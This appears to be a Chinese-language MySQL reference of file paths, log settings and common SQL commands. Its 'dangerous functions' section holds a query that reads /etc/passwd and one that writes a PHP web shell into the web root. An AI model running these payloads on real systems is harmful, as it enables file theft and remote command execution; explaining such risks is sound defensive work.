

常见配置

#连接

```
mysql -u root -p
```

#yum安装，数据库文件默认存在

```
/var/lib/mysql
```

#MySQL配置文件存放

centos

全局配置文件: `/etc/my.cnf` `/etc/mysql/my.cnf`

#数据文件存放位置

默认在`/var/lib/mysql`目录，数据库对应一个子目录，表数据通常以 `.frm`（表结构定义）、`.ibd`（InnoDB 表数据）等文件形式存在

可通过`grep 'datadir' /etc/my.cnf`进行确认

```
[root@iZ2zeinzgfc0kcovgzhafvZ ecs-user]# grep 'datadir' /etc/my.cnf
datadir=/var/lib/mysql
```

默认不开启mysql日志，配置文件里找到 `'general_log_file'` 选项，该选项的值即为日志文件的路径

```
general_log = 1
```

```
general_log_file = /var/log/mysql/mysql.log
```

危险函数

LOAD_FILE

从服务器文件系统读取文件内容并作为字符串返回

如果使用不当，可能会导致服务器敏感文件信息泄露。攻击者可以利用该函数读取服务器上的敏感文件，如配置文件、数据库备份等

```
select load_file('/etc/passwd')
```

INTO OUTFILE 和 INTO DUMPFILE

`into outfile`用于将查询结果导出到服务器文件系统的文件中，`into dumpfile`将结果写入文件，但是不会将特殊字符进行转义

导致服务器文件系统被篡改，攻击者可以利用该功能写入恶意脚本或文件

```
SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';
```

EXECUTE

用于执行动态 SQL 语句

如果动态 SQL 语句是由用户输入拼接而成，可能会引发 SQL 注入攻击，攻击者可以通过构造恶意输入来执行任意 SQL 命令

```
set @sql=concat("select * from users where username=',QUOTE(@user_input));  
PREPARE stmt FROM @sql;  
EXECUTE stmt
```

mysql语句

-连接到 MySQL 服务器

`mysql -u username -p`，其中，`username` 是你的 MySQL 用户名，执行该命令后会提示你输入密码。

-使用主机和端口连接

`mysql -u username -p -h host -P port`，`host`是 MySQL 服务器的主机名或 IP 地址，`port` 是服务器监听的端口（默认为 3306）。

- 退出 MySQL 会话

EXIT; 或 QUIT;

数据库操作

查看所有数据库

```
SHOW DATABASES;
```

**创建数据库

```
CREATE DATABASE database_name;  
`database_name` 是你创建的数据库名称。
```

**选择要使用的数据库

```
USE database_name;
```

删除数据库

```
DROP DATABASE database_name;
```

表操作

查看当前数据库中的所有表

```
SHOW TABLES;
```

创建表

```
CREATE TABLE table_name (  
    column1 datatype,  
    column2 datatype,  
    ...  
);
```

查看表结构

```
DESCRIBE table_name; 或 DESC table_name;
```

添加列

```
ALTER TABLE table_name ADD column_name datatype;
```

修改列的数据类型

```
ALTER TABLE table_name MODIFY column_name new_datatype;
```

删除列

```
ALTER TABLE table_name DROP COLUMN column_name;
```

删除表：

```
DROP TABLE table_name;
```

插入数据

```
INSERT INTO table_name (column1, column2, ...) VALUES (value1, value2, ...);
```

例如，向 `users` 表中插入一条记录：

```
INSERT INTO users (name, age) VALUES ('John', 25);
```

查询所有记录

```
SELECT * FROM table_name;
```

查询指定列

```
SELECT column1, column2 FROM table_name;
```

带条件查询

```
SELECT * FROM table_name WHERE condition;
```

更新数据

```
UPDATE table_name SET column1 = value1, column2 = value2 WHERE condition;
```

例如，将 `users` 表中 `id` 为 1 的记录的年龄更新为 26：

```
UPDATE users SET age = 26 WHERE id = 1;
```

删除数据

```
DELETE FROM table_name WHERE condition;
```

```
DELETE FROM users WHERE age < 20;
```

创建用户

```
CREATE USER 'username'@'host' IDENTIFIED BY 'password';
```

创建一个用户允许任意主机连接

```
CREATE USER 'new_user'@'%' IDENTIFIED BY 'password123';
```

授予用户权限

```
GRANT privileges ON database_name.table_name TO 'username'@'host';
```

例如，授予 `new\_user` 用户对 `test\_db` 数据库中所有表的查询和插入权限：

```
GRANT SELECT, INSERT ON test_db.* TO 'new_user'@'%';
```

撤销用户权限

```
REVOKE privileges ON database_name.table_name FROM 'username'@'host';
```

删除用户

```
DROP USER 'username'@'host';
```

备份数据库

```
mysqldump -u username -p database_name > backup_file.sql
```

将 `database\_name` 数据库备份到 `backup\_file.sql` 文件中

恢复数据库

```
mysql -u username -p database_name < backup_file.sql
```